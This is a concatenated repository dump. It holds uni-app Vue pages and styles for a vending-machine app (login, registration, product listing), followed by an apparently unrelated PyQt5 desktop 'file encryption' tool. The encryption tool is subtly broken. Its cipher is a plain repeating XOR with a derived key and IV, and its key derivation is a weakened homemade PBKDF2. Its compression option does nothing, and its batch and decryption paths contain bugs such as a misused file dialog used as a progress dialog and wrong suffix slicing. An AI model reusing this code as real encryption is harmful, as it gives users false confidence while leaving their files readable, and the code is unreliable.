.text-area {
display: flex;
justify-content: center;
}
.title {
font-size: 36rpx;
color: #8f8f94;
}
</style>
|
2301_82115348/VendingMachine_1028
|
pages/index/index.vue
|
Vue
|
unknown
| 694
|
<template>
<view class="container">
<input class="input" placeholder="请输入用户名"></input>
<input class="input" placeholder="请输入密码"></input>
<button class="button">登录</button>
<button class="button">注册</button>
</view>
</template>
<script>
export default {
data() {
return {
}
},
methods: {
}
}
</script>
<style>
.container {
padding: 20px 20px;
height: 50vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.input {
width: 100%;
border-style: solid;
border-color: grey;
border-radius: 20px;
border-width: 1px;
padding: 5px 10px;
font-size: 35rpx;
margin-bottom: 10px;
}
.button {
width: 100%;
background-color: #08f;
font-size: 35rpx;
color: white;
font-weight: bold;
border-radius: 20px;
margin-bottom: 10px;
}
</style>
|
2301_82115348/VendingMachine_1028
|
pages/login/login.vue
|
Vue
|
unknown
| 879
|
<template>
<view class = "container">
<!-- loading 状态 -->
<view v-if="loading"
class="loading-container">
<image src="../../static/loading.gif" class="loading-icon"></image>
<text class="loading-text">加载中...</text>
</view>
<view
v-else-if="loaded"
v-for = "(item,index) in items" :key = "item.id"
class="product-item-container">
<image :src="item.imageUrl"
@error = "item.cover = default_path"
class="product-item-image"
></image>
<view class = "product-item-info-container">
<!-- <text>{{ this.baseUrl + item.cover }}</text> -->
<text class = "product-item-name"> {{ item.name}} </text>
<text class = "product-item-price"> {{item.price}}元 </text>
<text class = "product-item-stock"> 剩余{{item.stock}}件 </text>
</view>
<button type="primary" size="mini" @click="onProductItemClicked(index)" class= "button">购买</button>
</view>
<view v-else class = "error-container">
<image
src="/static/error3.png"
mode="aspectFit"
class="error-icon">
</image>
<text class="error-text">加载商品列表失败</text>
<button class="error-button" @click="fetchProductList()" >重试</button>
</view>
</view>
</template>
<script>
import Product from '../../models/product';
let tag = "product-list";
export default {
onLoad() {
this.fetchProductList()
},
data() {
return {
login : false,
loading : false,
loaded : true,
default_path : "/static/error1.png",
baseUrl: 'https://vending.neumooc.com/prod-api',
items : []
// items : [
// {
// id : 1,
// name : "可乐",
// price : 3,
// imageUrl : "/static/可乐.png"
// },
// {
// id : 2,
// name : "牛奶",
// price : 5,
// imageUrl : "/static/牛奶.png"
// },
// {
// id : 3,
// name : "雪碧",
// price : 5,
// imageUrl : "https://pic.rmb.bdstatic.com/bjh/events/4531b384e18630fb4a7615d974a7a6e62814.jpeg"
// }
// ]
}
},
methods: {
onProductItemClicked(index) {
this.$log.info(tag, `onProductItemClicked ${index}`);
// 如果已登录，跳转“购买商品页”
if (this.login) {
this.$log.info(tag, "onProductItemClicked navigate to purchase")
let productJsonString = JSON.stringify(this.items[index])
uni.navigateTo({
url: `/pages/purchase/purchase?product=${encodeURIComponent(productJsonString)}`
})
} else { //如果未登录，跳转“登录页”
this.$log.info(tag, "onProductItemClicked navigate to login")
uni.navigateTo({
url: '/pages/login/login'
})
}
},
fetchProductList() {
this.$log.info(tag, "fetchProductList");
uni.request({
url: `${this.constant.BASE_URL}/api/machine/products`,
method:'GET',
data:{
'machineNo':this.constant.MACHINE_NO,
},
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success:(res)=> {
this.$log.info(tag, "获取商品列表成功");
this.loading = false;
this.loaded = true;
this.items = this.parseProductList(res.data);
},
fail:(error)=>{
this.$log.error(tag, "获取商品列表失败");
}
});
},
parseProductList(jsonObject){
let productList = [];
jsonObject.data.forEach((catagory) => {
catagory.productList.forEach((product) => {
productList.push(new Product(
product.productId,
product.name,
product.price,
`${this.constant.BASE_URL}${product.cover}`,
product.stock
));
});
});
console.log(productList);
return productList;
}
}
}
</script>
<style>
.container {
display: flex;
flex-direction: column;
}
.product-item-container {
display: flex;
flex-direction: row;
margin-bottom: 30rpx;
align-items: center;
justify-content: center;
}
.product-item-info-container {
display: flex;
flex-direction: column;
margin-left: 20rpx;
}
.product-item-name {
font-size: 38rpx;
font-weight: bold;
}
.product-item-stock {
font-size: 30rpx;
color: grey;
}
.product-item-price {
font-size: 38rpx;
font-weight: bold;
color: coral
}
.product-item-image {
width: 200rpx;
height: 200rpx;
}
.product-item-hover-effect {
opacity: 0.5;
}
.loading-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.loading-text {
font-size: 40rpx;
color: grey;
}
.loading-icon {
width: 80px;
height: 80px;
}
.error-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.error-icon {
width: 80px;
height: 80px;
}
.error-text {
color: grey;
font-size: 30rpx;
margin-top: 5px;
}
.retry-button {
font-size: 35rpx;
margin-top: 15px;
color: steelblue;
}
.order-list-container {
position: fixed;
bottom: 50px;
right: 20px;
width: 40px;
height: 40px;
background-color: #08f;
border-radius: 50%;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.order-list-container-hover {
opacity: 0.5;
}
.order-list-icon-text {
color: white;
font-size: 70rpx;
font-weight: bold;
padding-bottom: 2px;
}
.button {
display: inline-flex;
padding: 0 20px;
}
</style>
|
2301_82115348/VendingMachine_1028
|
pages/product-list/product-list.vue
|
Vue
|
unknown
| 5,506
|
<template>
<view>
<text>{{testData.name}}</text>
</view>
</template>
<script>
let tag = 'purchase'
export default {
data() {
return {
testData: "测试信息"
}
},
methods: {
},
onLoad(parameters) {
this.$log.info(tag, `onLoad`)
let productJSONString = decodeURIComponent(parameters.product)
let product = JSON.parse(productJSONString)
this.testData = product
},
onShow() {
this.$log.info(tag, `onShow`);
},
onReady() {
this.$log.info(tag, `onReady`);
},
onHide() {
this.$log.info(tag, `onHide`);
},
onUnload() {
this.$log.info(tag, `onUnload`);
},
}
</script>
<style>
</style>
|
2301_82115348/VendingMachine_1028
|
pages/purchase/purchase.vue
|
Vue
|
unknown
| 673
|
<template>
<view class="container">
<input class="input" placeholder="请输入用户名" v-model="userName"></input>
<input password class="input" placeholder="请输入密码" v-model="pw1"></input>
<input password class="input" placeholder="请再次输入密码" v-model="pw2"></input>
<button @click="onRegisterButtonClicked()" class="button">注册</button>
</view>
</template>
<script>
export default {
data() {
return {
userName: "",
pw1: "",
pw2: "",
}
},
methods: {
onRegisterButtonClicked() {
console.log(this.userName);
console.log(this.pw1)
console.log(this.pw2)
if (!this.userName) {
return this.showError("用户名不可为空")
}
if (!/^[a-zA-Z0-9_]{3,12}$/.test(this.userName)) {
return this.showError("用户名需3-12位（字母/数字/下划线）")
}
if (!this.pw1 || !this.pw2) {
return this.showError("密码不可为空")
}
if (!/^(?=.*[a-zA-Z])(?=.*\d).{6,16}$/.test(this.pw1)) {
return this.showError("密码需6-16位（含字母和数字）")
}
if (this.pw1 !== this.pw2) {
return this.showError("两次密码不一致")
}
// 注册成功
uni.showToast({
title: "注册成功",
icon: "success"
})
// 跳转到登录页（
setTimeout(() => {
uni.redirectTo({
url: '/pages/login/login'
})
}, 1500)
},
showError(msg) {
uni.showToast({
title: msg,
icon: "none"
})
this.userName = ""
this.pw1 = ""
this.pw2 = ""
}
}
}
</script>
<style>
.container {
padding: 20px 20px;
height: 50vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.input {
width: 100%;
border-style: solid;
border-color: grey;
border-radius: 20px;
border-width: 1px;
padding: 5px 10px;
font-size: 35rpx;
margin-bottom: 10px;
}
.button {
width: 100%;
background-color: #08f;
font-size: 35rpx;
color: white;
font-weight: bold;
border-radius: 20px;
margin-bottom: 10px;
}
</style>
|
2301_82115348/VendingMachine_1028
|
pages/register/register.vue
|
Vue
|
unknown
| 2,070
|
uni.addInterceptor({
returnValue (res) {
if (!(!!res && (typeof res === "object" || typeof res === "function") && typeof res.then === "function")) {
return res;
}
return new Promise((resolve, reject) => {
res.then((res) => {
if (!res) return resolve(res)
return res[0] ? reject(res[0]) : resolve(res[1])
});
});
},
});
|
2301_82115348/VendingMachine_1028
|
uni.promisify.adaptor.js
|
JavaScript
|
unknown
| 373
|
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场（https://ext.dcloud.net.cn）上很多三方插件均使用了这些样式变量
* 如果你是插件开发者，建议你使用scss预处理，并在插件代码中直接使用这些变量（无需 import 这个文件），方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者（插件使用者），你可以通过修改这些变量来定制自己的插件主题，实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理，你也可以直接在你的 scss 代码中使用如下变量，同时无需 import 这个文件
*/
/* 颜色变量 */
/* 行为相关颜色 */
$uni-color-primary: #007aff;
$uni-color-success: #4cd964;
$uni-color-warning: #f0ad4e;
$uni-color-error: #dd524d;
/* 文字基本颜色 */
$uni-text-color:#333;//基本色
$uni-text-color-inverse:#fff;//反色
$uni-text-color-grey:#999;//辅助灰色，如加载更多的提示信息
$uni-text-color-placeholder: #808080;
$uni-text-color-disable:#c0c0c0;
/* 背景颜色 */
$uni-bg-color:#ffffff;
$uni-bg-color-grey:#f8f8f8;
$uni-bg-color-hover:#f1f1f1;//点击状态颜色
$uni-bg-color-mask:rgba(0, 0, 0, 0.4);//遮罩颜色
/* 边框颜色 */
$uni-border-color:#c8c7cc;
/* 尺寸变量 */
/* 文字尺寸 */
$uni-font-size-sm:12px;
$uni-font-size-base:14px;
$uni-font-size-lg:16px;
/* 图片尺寸 */
$uni-img-size-sm:20px;
$uni-img-size-base:26px;
$uni-img-size-lg:40px;
/* Border Radius */
$uni-border-radius-sm: 2px;
$uni-border-radius-base: 3px;
$uni-border-radius-lg: 6px;
$uni-border-radius-circle: 50%;
/* 水平间距 */
$uni-spacing-row-sm: 5px;
$uni-spacing-row-base: 10px;
$uni-spacing-row-lg: 15px;
/* 垂直间距 */
$uni-spacing-col-sm: 4px;
$uni-spacing-col-base: 8px;
$uni-spacing-col-lg: 12px;
/* 透明度 */
$uni-opacity-disabled: 0.3; // 组件禁用态的透明度
/* 文章场景相关 */
$uni-color-title: #2C405A; // 文章标题颜色
$uni-font-size-title:20px;
$uni-color-subtitle: #555555; // 二级标题颜色
$uni-font-size-subtitle:26px;
$uni-color-paragraph: #3F536E; // 文章段落颜色
$uni-font-size-paragraph:15px;
|
2301_82115348/VendingMachine_1028
|
uni.scss
|
SCSS
|
unknown
| 2,217
|
import sys
import os
import zipfile
import tempfile
import subprocess
import secrets
import string
import hashlib
import hmac
import struct
from typing import List, Dict, Tuple, Optional
from PyQt5.QtWidgets import (
QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QGridLayout,
QPushButton, QLabel, QFileDialog, QLineEdit, QProgressBar, QMessageBox,
QGroupBox, QSpinBox, QCheckBox, QComboBox, QInputDialog, QScrollArea,
QSizePolicy, QFrame, QTabWidget
)
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QSize
from PyQt5.QtGui import QFont, QPalette, QIcon, QPixmap
class FileEncryptor:
"""文件加密解密核心类"""
def __init__(self):
self.block_size = 16
self.version = "SFv1.0"
self.version_bytes = self.version.encode('utf-8')
def derive_key(self, password: str, salt: bytes) -> bytes:
# 简化的PBKDF2实现
key = b''
iterations = 100000
key_length = 32
for i in range(1, 3):
block = hmac.new(
password.encode('utf-8'),
salt + struct.pack('>I', i),
hashlib.sha256
).digest()
for _ in range(iterations // 1000):
block = hmac.new(password.encode('utf-8'), block, hashlib.sha256).digest()
key += block
return key[:key_length]
def encrypt_file(self, input_path: str, output_path: str, password: str, compress: bool = False) -> bool:
"""加密文件"""
try:
salt = os.urandom(16)
iv = os.urandom(16)
key = self.derive_key(password, salt)
with open(input_path, 'rb') as f_in:
plaintext = f_in.read()
ciphertext = self._simple_encrypt(plaintext, key, iv)
hash_value = hashlib.sha256(plaintext).digest()
with open(output_path, 'wb') as f_out:
f_out.write(self.version_bytes)
f_out.write(salt)
f_out.write(iv)
f_out.write(hash_value)
f_out.write(ciphertext)
return True
except Exception as e:
print(f"加密错误: {str(e)}")
return False
def decrypt_file(self, input_path: str, output_path: str, password: str) -> bool:
"""解密文件"""
try:
with open(input_path, 'rb') as f_in:
version = f_in.read(len(self.version_bytes))
if version != self.version_bytes:
return False
salt = f_in.read(16)
iv = f_in.read(16)
stored_hash = f_in.read(32)
ciphertext = f_in.read()
key = self.derive_key(password, salt)
plaintext = self._simple_decrypt(ciphertext, key, iv)
current_hash = hashlib.sha256(plaintext).digest()
if current_hash != stored_hash:
return False
with open(output_path, 'wb') as f_out:
f_out.write(plaintext)
return True
except Exception as e:
print(f"解密错误: {str(e)}")
return False
def _simple_encrypt(self, data: bytes, key: bytes, iv: bytes) -> bytes:
encrypted = bytearray()
key_len = len(key)
for i, byte in enumerate(data):
encrypted.append(byte ^ key[i % key_len] ^ iv[i % len(iv)])
return bytes(encrypted)
def _simple_decrypt(self, data: bytes, key: bytes, iv: bytes) -> bytes:
"""简化的解密函数"""
return self._simple_encrypt(data, key, iv) # XOR加密解密相同
class PasswordGenerator:
"""密码生成器"""
def __init__(self):
self.character_sets = {
'lowercase': string.ascii_lowercase,
'uppercase': string.ascii_uppercase,
'digits': string.digits,
'special': '!@#$%^&*()_+-=[]{}|;:,.<>?'
}
def generate_password(self, length: int = 12, use_upper: bool = True,
use_digits: bool = True, use_special: bool = True) -> str:
"""生成随机密码"""
charset = self.character_sets['lowercase']
if use_upper:
charset += self.character_sets['uppercase']
if use_digits:
charset += self.character_sets['digits']
if use_special:
charset += self.character_sets['special']
return ''.join(secrets.choice(charset) for _ in range(length))
def generate_memorable_password(self) -> str:
"""生成易记密码"""
words = ['apple', 'ball', 'cat', 'dog', 'eagle', 'fish', 'goat', 'house']
numbers = ['123', '456', '789', '100', '202']
separators = ['!', '@', '#', '$', '%']
word1 = secrets.choice(words).capitalize()
word2 = secrets.choice(words)
number = secrets.choice(numbers)
separator = secrets.choice(separators)
return f"{word1}{number}{separator}{word2}"
class PasswordStrengthChecker:
"""密码强度检查器"""
def check_strength(self, password: str) -> Dict:
"""检查密码强度"""
score = 0
feedback = []
# 长度检查
length = len(password)
if length >= 12:
score += 3
elif length >= 8:
score += 2
feedback.append("建议密码长度至少12位")
else:
score += 1
feedback.append("密码过短，建议至少8位")
# 字符种类检查
criteria = {
'大写字母': any(c.isupper() for c in password),
'小写字母': any(c.islower() for c in password),
'数字': any(c.isdigit() for c in password),
'特殊字符': any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)
}
criteria_met = sum(criteria.values())
score += criteria_met
for name, met in criteria.items():
if not met:
feedback.append(f"建议包含{name}")
# 确定强度等级
if score >= 7:
strength = "强"
elif score >= 4:
strength = "中"
else:
strength = "弱"
return {'score': score, 'strength': strength, 'feedback': feedback}
class MobileEncryptionApp(QMainWindow):
"""为移动设备优化的加密应用"""
def __init__(self):
super().__init__()
self.encryptor = FileEncryptor()
self.password_generator = PasswordGenerator()
self.strength_checker = PasswordStrengthChecker()
self.current_file = ""
self.setup_ui()
self.apply_mobile_styles()
def setup_ui(self):
"""设置移动设备优化的UI"""
self.setWindowTitle("流星加密王")
self.setMinimumSize(360, 640)
# 创建中央滚动区域
central_widget = QWidget()
scroll_area = QScrollArea()
scroll_area.setWidgetResizable(True)
scroll_area.setWidget(central_widget)
self.setCentralWidget(scroll_area)
# 主布局
main_layout = QVBoxLayout()
central_widget.setLayout(main_layout)
# 应用标题
title_label = QLabel("🔐 流星加密王")
title_label.setAlignment(Qt.AlignCenter)
title_label.setStyleSheet("""
QLabel {
font-size: 24px;
font-weight: bold;
color: #2c3e50;
padding: 20px;
background: qlineargradient(x1:0, y1:0, x2:0, y2:1,
stop:0 #3498db, stop:1 #2980b9);
color: white;
border-radius: 15px;
margin: 5px;
}
""")
main_layout.addWidget(title_label)
self.tab_widget = QTabWidget()
main_layout.addWidget(self.tab_widget)
self.setup_file_tab()
self.setup_password_tab()
self.setup_batch_tab()
self.setup_status_section(main_layout)
def setup_file_tab(self):
"""设置文件操作标签页"""
file_tab = QWidget()
layout = QVBoxLayout()
file_tab.setLayout(layout)
# 文件选择区域
file_group = QGroupBox("📁 文件选择")
file_layout = QVBoxLayout()
self.file_label = QLabel("未选择文件")
self.file_label.setAlignment(Qt.AlignCenter)
self.file_label.setStyleSheet("""
QLabel {
border: 2px dashed #bdc3c7;
border-radius: 10px;
padding: 15px;
background-color: #ecf0f1;
min-height: 60px;
font-size: 14px;
}
""")
self.file_label.setWordWrap(True)
self.file_btn = QPushButton("选择文件")
self.file_btn.setMinimumHeight(60)
self.file_btn.clicked.connect(self.select_file)
file_layout.addWidget(self.file_label)
file_layout.addWidget(self.file_btn)
file_group.setLayout(file_layout)
# 操作选项
options_group = QGroupBox("⚙️ 选项设置")
options_layout = QGridLayout()
self.compress_check = QCheckBox("加密前压缩文件")
self.compress_check.setChecked(True)
self.overwrite_check = QCheckBox("覆盖原文件")
self.overwrite_check.setChecked(False)
options_layout.addWidget(self.compress_check, 0, 0)
options_layout.addWidget(self.overwrite_check, 0, 1)
options_group.setLayout(options_layout)
# 操作按钮
operation_group = QGroupBox("🛡️ 文件操作")
operation_layout = QVBoxLayout()
self.encrypt_btn = QPushButton("🔒 加密文件")
self.encrypt_btn.setMinimumHeight(70)
self.encrypt_btn.clicked.connect(self.encrypt_file)
self.decrypt_btn = QPushButton("🔓 解密文件")
self.decrypt_btn.setMinimumHeight(70)
self.decrypt_btn.clicked.connect(self.decrypt_file)
operation_layout.addWidget(self.encrypt_btn)
operation_layout.addWidget(self.decrypt_btn)
operation_group.setLayout(operation_layout)
# 添加到标签页
layout.addWidget(file_group)
layout.addWidget(options_group)
layout.addWidget(operation_group)
layout.addStretch()
self.tab_widget.addTab(file_tab, "文件加密")
def setup_password_tab(self):
"""设置密码管理标签页"""
password_tab = QWidget()
layout = QVBoxLayout()
password_tab.setLayout(layout)
# 密码输入区域
input_group = QGroupBox("🔑 密码输入")
input_layout = QGridLayout()
input_layout.addWidget(QLabel("密码:"), 0, 0)
self.pwd_input = QLineEdit()
self.pwd_input.setEchoMode(QLineEdit.Password)
self.pwd_input.setMinimumHeight(50)
self.pwd_input.textChanged.connect(self.check_password_strength)
input_layout.addWidget(self.pwd_input, 0, 1)
self.show_pwd_check = QCheckBox("显示密码")
self.show_pwd_check.stateChanged.connect(self.toggle_password_visibility)
input_layout.addWidget(self.show_pwd_check, 1, 0, 1, 2)
input_group.setLayout(input_layout)
# 密码生成选项
generate_group = QGroupBox("🎲 密码生成")
generate_layout = QGridLayout()
generate_layout.addWidget(QLabel("长度:"), 0, 0)
self.length_spin = QSpinBox()
self.length_spin.setRange(8, 32)
self.length_spin.setValue(12)
self.length_spin.setMinimumHeight(45)
generate_layout.addWidget(self.length_spin, 0, 1)
self.upper_check = QCheckBox("大写字母")
self.upper_check.setChecked(True)
generate_layout.addWidget(self.upper_check, 1, 0)
self.digit_check = QCheckBox("数字")
self.digit_check.setChecked(True)
generate_layout.addWidget(self.digit_check, 1, 1)
self.special_check = QCheckBox("特殊字符")
self.special_check.setChecked(True)
generate_layout.addWidget(self.special_check, 2, 0)
generate_group.setLayout(generate_layout)
# 生成按钮
button_layout = QHBoxLayout()
self.generate_btn = QPushButton("生成随机密码")
self.generate_btn.setMinimumHeight(55)
self.generate_btn.clicked.connect(self.generate_password)
self.memorable_btn = QPushButton("生成易记密码")
self.memorable_btn.setMinimumHeight(55)
self.memorable_btn.clicked.connect(self.generate_memorable_password)
button_layout.addWidget(self.generate_btn)
button_layout.addWidget(self.memorable_btn)
# 密码强度显示
strength_group = QGroupBox("📊 密码强度")
strength_layout = QVBoxLayout()
self.strength_label = QLabel("强度: 未检查")
self.strength_label.setAlignment(Qt.AlignCenter)
self.strength_label.setMinimumHeight(40)
strength_layout.addWidget(self.strength_label)
strength_group.setLayout(strength_layout)
# 添加到标签页
layout.addWidget(input_group)
layout.addWidget(generate_group)
layout.addLayout(button_layout)
layout.addWidget(strength_group)
layout.addStretch()
self.tab_widget.addTab(password_tab, "密码管理")
def setup_batch_tab(self):
"""设置批量处理标签页"""
batch_tab = QWidget()
layout = QVBoxLayout()
batch_tab.setLayout(layout)
# 文件夹选择
folder_group = QGroupBox("📂 批量处理")
folder_layout = QVBoxLayout()
self.folder_label = QLabel("未选择文件夹")
self.folder_label.setAlignment(Qt.AlignCenter)
self.folder_label.setStyleSheet("""
QLabel {
border: 2px dashed #bdc3c7;
border-radius: 10px;
padding: 15px;
background-color: #ecf0f1;
min-height: 60px;
font-size: 14px;
}
""")
self.folder_label.setWordWrap(True)
self.folder_btn = QPushButton("选择文件夹")
self.folder_btn.setMinimumHeight(60)
self.folder_btn.clicked.connect(self.select_folder)
folder_layout.addWidget(self.folder_label)
folder_layout.addWidget(self.folder_btn)
folder_group.setLayout(folder_layout)
# 批量操作选项
batch_options_group = QGroupBox("⚙️ 批量设置")
batch_options_layout = QVBoxLayout()
self.batch_mode_combo = QComboBox()
self.batch_mode_combo.addItems(["加密所有文件", "解密所有文件"])
self.include_subdirs = QCheckBox("包含子文件夹")
self.include_subdirs.setChecked(True)
batch_options_layout.addWidget(QLabel("操作模式:"))
batch_options_layout.addWidget(self.batch_mode_combo)
batch_options_layout.addWidget(self.include_subdirs)
batch_options_group.setLayout(batch_options_layout)
# 批量操作按钮
batch_btn_layout = QHBoxLayout()
self.batch_process_btn = QPushButton("开始批量处理")
self.batch_process_btn.setMinimumHeight(70)
self.batch_process_btn.clicked.connect(self.batch_process)
self.batch_process_btn.setStyleSheet("background-color: #e67e22; color: white;")
batch_btn_layout.addWidget(self.batch_process_btn)
# 添加到标签页
layout.addWidget(folder_group)
layout.addWidget(batch_options_group)
layout.addLayout(batch_btn_layout)
layout.addStretch()
self.tab_widget.addTab(batch_tab, "批量处理")
def setup_status_section(self, main_layout):
"""设置状态显示区域"""
# 进度条
self.progress_bar = QProgressBar()
self.progress_bar.setRange(0, 100)
self.progress_bar.setValue(0)
self.progress_bar.setMinimumHeight(30)
self.progress_bar.setVisible(False)
# 状态标签
self.status_label = QLabel("就绪")
self.status_label.setAlignment(Qt.AlignCenter)
self.status_label.setStyleSheet("""
QLabel {
background-color: #34495e;
color: white;
padding: 12px;
border-radius: 10px;
font-size: 14px;
min-height: 20px;
}
""")
self.status_label.setWordWrap(True)
main_layout.addWidget(self.progress_bar)
main_layout.addWidget(self.status_label)
def apply_mobile_styles(self):
self.setStyleSheet("""
QMainWindow {
background-color: #f5f6fa;
}
QTabWidget::pane {
border: 1px solid #c4c4c4;
border-radius: 10px;
background-color: white;
margin: 5px;
}
QTabBar::tab {
background-color: #ecf0f1;
border: 1px solid #bdc3c7;
padding: 12px 20px;
margin: 2px;
border-top-left-radius: 8px;
border-top-right-radius: 8px;
font-size: 14px;
min-width: 100px;
}
QTabBar::tab:selected {
background-color: #3498db;
color: white;
border-bottom-color: #3498db;
}
QGroupBox {
font-weight: bold;
font-size: 16px;
border: 2px solid #ddd;
border-radius: 12px;
margin-top: 10px;
padding-top: 15px;
background-color: white;
}
QGroupBox::title {
subcontrol-origin: margin;
left: 15px;
padding: 0 10px 0 10px;
color: #2c3e50;
}
QPushButton {
min-height: 50px;
border-radius: 10px;
font-size: 16px;
font-weight: bold;
margin: 5px;
background-color: #3498db;
color: white;
border: none;
}
QPushButton:pressed {
background-color: #2980b9;
}
QPushButton:disabled {
background-color: #bdc3c7;
color: #7f8c8d;
}
QLineEdit, QSpinBox {
min-height: 45px;
font-size: 16px;
padding: 10px;
border: 2px solid #bdc3c7;
border-radius: 8px;
background-color: white;
}
QCheckBox {
spacing: 10px;
min-height: 40px;
font-size: 14px;
}
QCheckBox::indicator {
width: 25px;
height: 25px;
}
QComboBox {
min-height: 45px;
font-size: 16px;
padding: 10px;
border: 2px solid #bdc3c7;
border-radius: 8px;
background-color: white;
}
QProgressBar {
min-height: 30px;
border-radius: 5px;
text-align: center;
font-size: 14px;
border: 1px solid #bdc3c7;
}
QProgressBar::chunk {
background-color: #27ae60;
border-radius: 5px;
}
""")
def select_file(self):
"""选择文件"""
file_path, _ = QFileDialog.getOpenFileName(
self, "选择文件", "",
"所有文件 (*.*);;文本文件 (*.txt);;文档文件 (*.docx *.pdf);;图片文件 (*.jpg *.png)"
)
if file_path:
self.current_file = file_path
self.file_label.setText(f"已选择: {os.path.basename(file_path)}")
self.status_label.setText(f"已选择文件: {os.path.basename(file_path)}")
def select_folder(self):
"""选择文件夹"""
folder_path = QFileDialog.getExistingDirectory(self, "选择文件夹")
if folder_path:
self.folder_label.setText(f"已选择: {os.path.basename(folder_path)}")
self.status_label.setText(f"已选择文件夹: {os.path.basename(folder_path)}")
def toggle_password_visibility(self, state):
"""切换密码显示"""
if state == Qt.Checked:
self.pwd_input.setEchoMode(QLineEdit.Normal)
else:
self.pwd_input.setEchoMode(QLineEdit.Password)
def generate_password(self):
"""生成随机密码"""
length = self.length_spin.value()
use_upper = self.upper_check.isChecked()
use_digits = self.digit_check.isChecked()
use_special = self.special_check.isChecked()
password = self.password_generator.generate_password(length, use_upper, use_digits, use_special)
self.pwd_input.setText(password)
self.check_password_strength(password)
def generate_memorable_password(self):
"""生成易记密码"""
password = self.password_generator.generate_memorable_password()
self.pwd_input.setText(password)
self.check_password_strength(password)
def check_password_strength(self, password=None):
"""检查密码强度"""
if password is None:
password = self.pwd_input.text()
if not password:
self.strength_label.setText("强度: 未输入密码")
self.strength_label.setStyleSheet("color: #95a5a6;")
return
result = self.strength_checker.check_strength(password)
color_map = {"弱": "#e74c3c", "中": "#f39c12", "强": "#27ae60"}
color = color_map.get(result['strength'], "#95a5a6")
self.strength_label.setText(
f"强度: {result['strength']} (得分: {result['score']}/10)"
)
self.strength_label.setStyleSheet(f"color: {color}; font-weight: bold;")
if result['feedback']:
self.status_label.setText(f"建议: {', '.join(result['feedback'])}")
def encrypt_file(self):
"""加密文件"""
if not self.current_file:
QMessageBox.warning(self, "警告", "请先选择要加密的文件")
return
password = self.pwd_input.text()
if not password:
QMessageBox.warning(self, "警告", "请输入加密密码")
return
# 检查密码强度
strength_result = self.strength_checker.check_strength(password)
if strength_result['strength'] == "弱":
reply = QMessageBox.question(
self, "密码强度警告",
"您使用的密码强度较弱，容易被破解。是否继续使用此密码？",
QMessageBox.Yes | QMessageBox.No
)
if reply == QMessageBox.No:
return
# 设置输出路径
if self.overwrite_check.isChecked():
output_path = self.current_file + ".sf"
else:
output_path, _ = QFileDialog.getSaveFileName(
self, "保存加密文件",
os.path.splitext(self.current_file)[0] + ".sf"
)
if not output_path:
return
# 执行加密
self.status_label.setText("加密中...")
self.progress_bar.setVisible(True)
self.progress_bar.setValue(30)
QApplication.processEvents() # 更新UI
success = self.encryptor.encrypt_file(
self.current_file, output_path, password, self.compress_check.isChecked()
)
self.progress_bar.setValue(100)
if success:
QMessageBox.information(self, "成功", f"文件加密成功!\n已保存为: {output_path}")
self.status_label.setText("加密完成")
else:
QMessageBox.critical(self, "错误", "文件加密失败")
self.status_label.setText("加密失败")
self.progress_bar.setVisible(False)
def decrypt_file(self):
"""解密文件"""
if not self.current_file:
QMessageBox.warning(self, "警告", "请先选择要解密的文件")
return
password = self.pwd_input.text()
if not password:
QMessageBox.warning(self, "警告", "请输入解密密码")
return
# 设置输出路径
if self.overwrite_check.isChecked():
output_path = self.current_file.replace('.sf', '')
else:
default_name = os.path.splitext(self.current_file)[0]
if default_name.endswith('.sf'):
default_name = default_name[:-10] # 移除.encrypted后缀
output_path, _ = QFileDialog.getSaveFileName(
self, "保存解密文件", default_name
)
if not output_path:
return
# 执行解密
self.status_label.setText("解密中...")
self.progress_bar.setVisible(True)
self.progress_bar.setValue(30)
QApplication.processEvents() # 更新UI
success = self.encryptor.decrypt_file(self.current_file, output_path, password)
self.progress_bar.setValue(100)
if success:
QMessageBox.information(self, "成功", f"文件解密成功!\n已保存为: {output_path}")
self.status_label.setText("解密完成")
else:
QMessageBox.critical(self, "错误", "文件解密失败，请检查密码是否正确")
self.status_label.setText("解密失败")
self.progress_bar.setVisible(False)
def batch_process(self):
"""批量处理文件夹"""
folder_path = os.path.dirname(self.current_file) if self.current_file else ""
if not folder_path:
folder_path = QFileDialog.getExistingDirectory(self, "选择文件夹")
if not folder_path:
return
password = self.pwd_input.text()
if not password:
QMessageBox.warning(self, "警告", "请输入密码")
return
mode = self.batch_mode_combo.currentText()
include_subdirs = self.include_subdirs.isChecked()
# 收集文件
files = []
if include_subdirs:
for root, _, filenames in os.walk(folder_path):
for filename in filenames:
if mode == "加密所有文件" and not filename.endswith('.sf'):
files.append(os.path.join(root, filename))
elif mode == "解密所有文件" and filename.endswith('.sf'):
files.append(os.path.join(root, filename))
else:
for filename in os.listdir(folder_path):
filepath = os.path.join(folder_path, filename)
if os.path.isfile(filepath):
if mode == "加密所有文件" and not filename.endswith('.sf'):
files.append(filepath)
elif mode == "解密所有文件" and filename.endswith('.sf'):
files.append(filepath)
if not files:
QMessageBox.information(self, "信息", "没有找到符合条件的文件")
return
# 创建进度对话框
progress_dialog = QFileDialog(
f"正在处理 {len(files)} 个文件...", "取消", 0, len(files), self
)
progress_dialog.setWindowTitle("批量处理")
progress_dialog.setWindowModality(Qt.WindowModal)
progress_dialog.show()
# 处理文件
success_count = 0
for i, file_path in enumerate(files):
if progress_dialog.wasCanceled():
break
progress_dialog.setValue(i)
progress_dialog.setLabelText(f"正在处理: {os.path.basename(file_path)}")
QApplication.processEvents()
try:
if mode == "加密所有文件":
output_path = file_path + ".sf"
success = self.encryptor.encrypt_file(
file_path, output_path, password, self.compress_check.isChecked()
)
else:
output_path = file_path.replace('.sf', '')
success = self.encryptor.decrypt_file(file_path, output_path, password)
if success:
success_count += 1
except Exception as e:
print(f"处理文件 {file_path} 时出错: {str(e)}")
progress_dialog.close()
QMessageBox.information(
self, "完成",
f"批量处理完成!\n成功: {success_count}个, 失败: {len(files) - success_count}个"
)
